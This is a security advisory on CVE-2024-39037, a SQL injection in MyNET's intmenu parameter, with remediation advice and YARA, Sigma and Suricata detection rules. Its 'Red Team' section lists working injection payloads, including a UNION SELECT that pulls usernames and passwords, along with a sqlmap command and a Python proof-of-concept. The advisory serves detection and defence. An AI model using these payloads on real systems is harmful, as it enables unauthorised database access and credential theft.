CVE-2024-39037

Executive Summary

CVE-2024-39037 is an unauthenticated SQL injection vulnerability discovered in MyNET, a web application framework, up to version 26.08.316. The flaw resides in the intmenu parameter, allowing remote attackers to inject arbitrary SQL queries without authentication. This can lead to data exfiltration, authentication bypass, and potential full database compromise. No official patch has been released, and the CVSS score is currently unassigned (0.0), though the impact is critical due to the unauthenticated nature of the attack.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary web application (MyNET). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating no official vector has been assigned. Based on the vulnerability characteristics, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical. Unauthenticated remote exploitation with high impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the intmenu parameter. The application likely constructs SQL queries by directly concatenating user input from the intmenu parameter without proper sanitization or parameterized queries. An attacker can inject SQL metacharacters (e.g., single quote ', double dash --) to break out of the intended query structure and execute arbitrary SQL commands.

Example vulnerable code pattern (pseudo-code):

$intmenu = $_GET['intmenu'];
$query = "SELECT * FROM menus WHERE id = " . $intmenu;
$result = mysqli_query($conn, $query);

Attack vector: The attacker sends a crafted HTTP request to the vulnerable endpoint, e.g.:

GET /index.php?intmenu=1 UNION SELECT username,password FROM users--

This would return user credentials from the users table.

Vulnerable vs. Patched Code

Vulnerable Code (MyNET <= 26.08.316):

// No input validation or parameterization
$id = $_GET['intmenu'];
$sql = "SELECT * FROM menu_items WHERE menu_id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// Use prepared statements
$stmt = $conn->prepare("SELECT * FROM menu_items WHERE menu_id = ?");
$stmt->bind_param("i", $id);
$id = $_GET['intmenu'];
$stmt->execute();
$result = $stmt->get_result();

No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Manual Exploitation:

1. Identify the vulnerable parameter: intmenu
2. Test for injection: ?intmenu=1' (look for SQL error)
3. Confirm with boolean-based: ?intmenu=1 AND 1=1 vs ?intmenu=1 AND 1=2
4. Extract data using UNION: ?intmenu=1 UNION SELECT 1,2,3--
5. Dump tables: ?intmenu=1 UNION SELECT table_name,2,3 FROM information_schema.tables--

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/index.php?intmenu=1" --batch --dbs

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target.com/index.php"
payload = "1 UNION SELECT 1,2,3,4,5--"
params = {'intmenu': payload}
r = requests.get(target, params=params)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL error messages in HTTP responses (e.g., "MySQL", "syntax error")
• Look for abnormal characters in intmenu parameter: ', ", --, #, ;, UNION, SELECT
• Alert on requests with intmenu containing SQL keywords

Honeypot:

• Deploy a fake endpoint with intmenu parameter that logs all input
• Use a web application firewall (WAF) to block SQL injection patterns

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with intmenu parameter containing SQL metacharacters
• Requests with UNION SELECT or information_schema in the query string
• Multiple requests with varying intmenu values in short time (scanning)

File IOCs:

• Log entries showing SQL errors (e.g., You have an error in your SQL syntax)
• Web server logs with intmenu parameter containing ' or --

Example Suricata rule (see Detection Engineering):

alert http any any -> any any (msg:"CVE-2024-39037 SQL Injection Attempt"; content:"intmenu"; nocase; pcre:"/intmenu=.*['\"]|UNION|SELECT/i"; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2024_39037_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-39037 in MyNET"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39037"
    strings:
        $sqli1 = /intmenu=.*['\"]/ nocase
        $sqli2 = /intmenu=.*UNION/i
        $sqli3 = /intmenu=.*SELECT/i
        $sqli4 = /intmenu=.*--/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: CVE-2024-39037 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against MyNET intmenu parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 'intmenu='
    keywords:
        - "'"
        - '"'
        - '--'
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
    condition: selection and 1 of keywords
falsepositives:
    - Legitimate use of special characters in menu IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39037 SQL Injection Attempt"; flow:to_server,established; content:"intmenu"; nocase; pcre:"/intmenu=.*['\"]|UNION|SELECT|OR\s+1=1/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the MyNET application from the internet if possible.
2. Apply input validation – whitelist allowed characters for intmenu (e.g., only digits).
3. Use parameterized queries (prepared statements) in all database interactions.
4. Deploy a WAF with rules to block SQL injection patterns.
5. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version when available (currently none).
• Replace MyNET with a supported, secure alternative.
• Conduct a full security audit of the application.

Workaround:

• Modify the application code to use prepared statements (see patched code example).
• If source code is unavailable, use a reverse proxy to filter intmenu parameter.

Report generated by Valters IT DevSecOps & CTI Division